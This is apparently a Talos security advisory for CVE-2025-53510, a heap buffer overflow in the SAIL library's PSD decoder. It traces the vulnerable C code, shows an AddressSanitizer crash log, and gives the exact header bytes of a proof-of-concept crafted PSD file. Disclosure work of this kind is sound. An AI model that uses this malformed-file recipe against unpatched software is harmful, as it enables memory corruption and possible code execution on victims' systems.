CVE-2025-53510
A memory corruption vulnerability exists in the PSD Image Decoding functionality of the SAIL Image Decoding Library v0.9.8. When loading a specially crafted .psd file, an integer overflow can be made to occur when calculating the stride for decoding. Afterwards, this will cause a heap-based buffer to overflow when decoding the image which can lead to remote code execution. An attacker will need to convince the library to read a file to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
SAIL Image Decoding Library v0.9.8
221db576ce1263ab92bd882f344b68b8eec16cad (master)
SAIL Image Decoding Library - https://sail.software/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-680 - Integer Overflow to Buffer Overflow
SAIL is a format-agnostic image decoding library supporting all popular image formats. Being one of the fastest among competitors, it provides simple yet powerful C/C++ API for end-users. SAIL works on Windows, macOS, and Linux platforms.
When the library is used to read a PSD image file, the following sail_codec_load_init_v8_psd
function will be used. At [1], a uint32_t
signature is read from the beginning of the file and then verified. Next at [2], a uint16_t
integer is read as the version. This version is then checked that its value is 1
.
sail/src/sail-codecs/psd/psd.c:101-128
SAIL_EXPORT sail_status_t sail_codec_load_init_v8_psd(struct sail_io *io, const struct sail_load_options *load_options, void **state) {
...
/* Init decoder. PSD spec: https://www.adobe.com/devnet-apps/photoshop/fileformatashtml/#50577409_89817 */
uint32_t magic;
SAIL_TRY(psd_private_get_big_endian_uint32_t(psd_state->io, &magic)); // [1] read uint32_t signature
if (magic != SAIL_PSD_MAGIC) { // [1] verify the signature
...
}
uint16_t version;
SAIL_TRY(psd_private_get_big_endian_uint16_t(psd_state->io, &version)); // [2] read the uint16_t version
if (version != 1) { // [2] verify the version
...
}
return SAIL_OK;
}
Before loading the frame, the rest of the header of the PSD image file will be read. At [3], the number of channels is read. At [4] and [5], the image dimensions are read as a pair of uint32_t
. Next at [6], the color depth is read. This is followed by the image mode at [7] and the image data size at [8]. Once everything has been properly read from the header, at [9] the implementation will skip over any image resources that may be stored in the image.
sail/src/sail-codecs/psd/psd.c:130-242
SAIL_EXPORT sail_status_t sail_codec_load_seek_next_frame_v8_psd(void *state, struct sail_image **image) {
...
/* Read PSD header. */
SAIL_TRY(psd_private_get_big_endian_uint16_t(psd_state->io, &psd_state->channels)); // [3] read the uint16_t number of channels
uint32_t height;
SAIL_TRY(psd_private_get_big_endian_uint32_t(psd_state->io, &height)); // [4] read the uint32_t image height
uint32_t width;
SAIL_TRY(psd_private_get_big_endian_uint32_t(psd_state->io, &width)); // [5] read the uint32_t image width
SAIL_TRY(psd_private_get_big_endian_uint16_t(psd_state->io, &psd_state->depth)); // [6] read the color depth
uint16_t mode;
SAIL_TRY(psd_private_get_big_endian_uint16_t(psd_state->io, &mode)); // [7] read the image mode
uint32_t data_size;
SAIL_TRY(psd_private_get_big_endian_uint32_t(psd_state->io, &data_size)); // [8] read the image data size
...
/* Skip the image resources. */
SAIL_TRY(psd_private_get_big_endian_uint32_t(psd_state->io, &data_size)); // [9] skip over any resources in the image
SAIL_TRY(psd_state->io->seek(psd_state->io->stream, data_size, SEEK_CUR));
/* Skip the layer and mask information. */
SAIL_TRY(psd_private_get_big_endian_uint32_t(psd_state->io, &data_size));
SAIL_TRY(psd_state->io->seek(psd_state->io->stream, data_size, SEEK_CUR));
...
return SAIL_OK;
}
Continuing inside the sail_codec_load_seek_next_frame_v8_psd
function, at [10] the compression type will be read as a uint16_t
and verified. Next at [11], the size for each channel is calculated using the color depth and image width. This size is then used to allocate a buffer for decoding the image data. Afterwards at [12], the pixel format will be determined from the image mode, number of channels, and color depth. Upon determining the pixel format, each of the dimensions will be stored at [13]. At [14], the image width will be multiplied by the pixel format in order to determine the number of bytes used by each row of the decoded image. As the image width is 32-bits in size, any value that when multiplied by the number of bytes in the pixel format can be larger than 32-bits resulting in an integer overflow.
sail/src/sail-codecs/psd/psd.c:130-242
SAIL_EXPORT sail_status_t sail_codec_load_seek_next_frame_v8_psd(void *state, struct sail_image **image) {
...
/* Compression. */
uint16_t compression;
SAIL_TRY(psd_private_get_big_endian_uint16_t(psd_state->io, &compression)); // [10] read the uint16_t compression type
if (compression != SAIL_PSD_COMPRESSION_NONE && compression != SAIL_PSD_COMPRESSION_RLE) { // [10] verify the compression type is valid
SAIL_LOG_ERROR("PSD: Unsuppored compression value #%u", compression);
SAIL_LOG_AND_RETURN(SAIL_ERROR_UNSUPPORTED_COMPRESSION);
}
psd_state->compression = compression;
...
/* Used to optimize uncompressed readings. */
if (psd_state->compression == SAIL_PSD_COMPRESSION_NONE) {
psd_state->bytes_per_channel = ((unsigned)width * psd_state->depth + 7) / 8; // [11] calculate bytes for each channel
void *ptr;
SAIL_TRY(sail_malloc(psd_state->bytes_per_channel, &ptr)); // [11] use them to allocate a buffer
psd_state->scan_buffer = ptr;
}
SAIL_LOG_TRACE("PSD: mode(%u), channels(%u), depth(%u)", mode, psd_state->channels, psd_state->depth);
enum SailPixelFormat pixel_format;
SAIL_TRY(psd_private_sail_pixel_format(mode, psd_state->channels, psd_state->depth, &pixel_format)); // [12] determine the pixel format
...
image_local->width = width; // [13] store the dimensions and calculated fields
image_local->height = height;
image_local->pixel_format = pixel_format;
image_local->palette = psd_state->palette;
image_local->bytes_per_line = sail_bytes_per_line(image_local->width, image_local->pixel_format); // [14] integer overflow
/* Palette has been moved. */
psd_state->palette = NULL;
*image = image_local;
return SAIL_OK;
}
After the buffer for the image data has been allocated using the dimensions calculated from the fields in the image file, the following sail_codec_load_frame_v8_psd
function will be used to decode data read from the file into the undersized buffer. At [15] and [16], the implementation will loop over each channel and row being decoded. Inside these loops at [17], the implementation will begin to loop over each individual pixel being decoded and read the first byte. At [18] if this byte is less than 128
, then the loop at [19] will be entered in order to read the image data from the file and write it into the buffer that was previously allocated. Due to the integer overflow in the previous function, the allocated buffer will be undersized. Thus, writing into the undersized buffer can trigger a heap-based buffer overflow which can allow for code execution under the context of the library.
sail/src/sail-codecs/psd/psd.c:244-298
SAIL_EXPORT sail_status_t sail_codec_load_frame_v8_psd(void *state, struct sail_image *image) {
const struct psd_state *psd_state = state;
const unsigned bpp = (psd_state->channels * psd_state->depth + 7) / 8;
if (psd_state->compression == SAIL_PSD_COMPRESSION_RLE) {
for (unsigned channel = 0; channel < psd_state->channels; channel++) { // [15] loop over each channel
for (unsigned row = 0; row < image->height; row++) { // [16] loop over each row
for (unsigned count = 0; count < image->width; ) { // [17] loop over each pixel
unsigned char c;
SAIL_TRY(psd_state->io->strict_read(psd_state->io->stream, &c, sizeof(c)));
if (c > 128) {
...
} else if (c < 128) { // [18] If not run-length encoded
c++;
for (unsigned i = count; i < count + c; i++) { // [19] loop reading each pixel from file
unsigned char value;
SAIL_TRY(psd_state->io->strict_read(psd_state->io->stream, &value, sizeof(value)));
unsigned char *scan = (unsigned char *)sail_scan_line(image, row) + i * bpp;
*(scan + channel) = value; // [19] write each pixel value into the allocated buffer
}
}
count += c;
}
}
}
...
return SAIL_OK;
}
$ sail decode poc.psd
File : poc.psd
Codec : PSD [Photoshop Document]
Codec version : 0.8.1
=================================================================
==166758==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5901d78 at pc 0x0815c0b4 bp 0xffdf26a8 sp 0xffdf2690
WRITE of size 1 at 0xf5901d78 thread T0
#0 0x0815c0b3 in sail_codec_load_frame_v8_psd /path/to/sail/sail/src/sail-codecs/psd/psd.c:276:47
#1 0x0814116e in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:119:5
#2 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
#3 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
#4 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
#5 0xf7c710e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
#6 0xf7c711b7 in __libc_start_main@GLIBC_2.0 (/lib/libc.so.6+0x31b7) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
#7 0x08048a57 in _start (/path/to/sail/sail+0x8048a57) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
0xf5901d78 is located 7 bytes after 1-byte region [0xf5901d70,0xf5901d71)
allocated by thread T0 here:
#0 0x080eaf46 in malloc (/path/to/sail/sail+0x80eaf46) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
#1 0x08178131 in sail_malloc /path/to/sail/sail/src/sail-common/memory.c:34:23
#2 0x081410f6 in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:116:5
#3 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
#4 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
#5 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
#6 0xf7c710e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
SUMMARY: AddressSanitizer: heap-buffer-overflow /path/to/sail/sail/src/sail-codecs/psd/psd.c:276:47 in sail_codec_load_frame_v8_psd
Shadow bytes around the buggy address:
0xf5901a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5901b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5901b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5901c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5901c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0xf5901d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 01[fa]
0xf5901d80: fa fa 00 fa fa fa 00 04 fa fa 00 fa fa fa fd fa
0xf5901e00: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
0xf5901e80: fa fa 00 04 fa fa 00 fa fa fa 00 00 fa fa 00 fa
0xf5901f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0xf5901f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==166758==ABORTING
$ python -i poc.py3.zip poc.psd
The image file generated by the proof-of-concept has the following format.
>>> psd
<class psd.File> 'unnamed_7f8d4f1de930' {unnamed=True}
[0] <instance psd.Header 'Header'> "\x38\x42\x50\x53\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x02\x10\x00\x00\x00\x00\x10\x00\x04"
[1a] <instance psd.ColorModeData 'ColorModeData'> "\x00\x00\x00\x00"
[1e] <instance psd.ImageResources 'ImageResources'> "\x00\x00\x00\x00"
[22] <instance psd.LayerAndMaskInformation 'LayerAndMaskInformation'> "\x00\x00\x00\x00"
[26] <instance psd.ImageData 'ImageData'> "\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff ...total 4098 bytes... \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
[1028] <instance ptype.block 'Extra'> ...
The header for the image contains all of the fields that are required to trigger this vulnerability. In the header, the number of bytes is determined from the product of the “Depth
” field, the “Channels
” field, and the “Width"
field. As the “Depth
” field specifies the number of bits, it will need to be divided by 8
to determine the number of bytes. If the product of the “Width
” field and the number of bytes is larger than 32-bits, then this vulnerability is being triggered, or if the product of the “Height
” field and this value is larger than 32-bits then this vulnerability is being triggered.
>>> psd['header']
<class psd.Header> 'Header'
[0] <instance be(psd.Header._Signature) 'Signature'> Default(0x38425053)
[4] <instance be(psd.u16) 'Version'> 0x0001 (1)
[6] <instance dynamic.block(6) 'Reserved'> (6) "\x00\x00\x00\x00\x00\x00"
[c] <instance be(psd.u16) 'Channels'> 0x0004 (4)
[e] <instance be(psd.u32) 'Height'> 0x00000002 (2)
[12] <instance be(psd.u32) 'Width'> 0x10000000 (268435456)
[16] <instance be(psd.u16) 'Depth'> 0x0010 (16)
[18] <instance be(psd.Header._Mode) 'Mode'> CMYK(0x4)
2025-07-29 - Initial Vendor Contact
2025-07-29 - Vendor Disclosure
2025-07-30 - Vendor Patch Release
2025-08-25 - Public Release
Discovered by a member of Cisco Talos.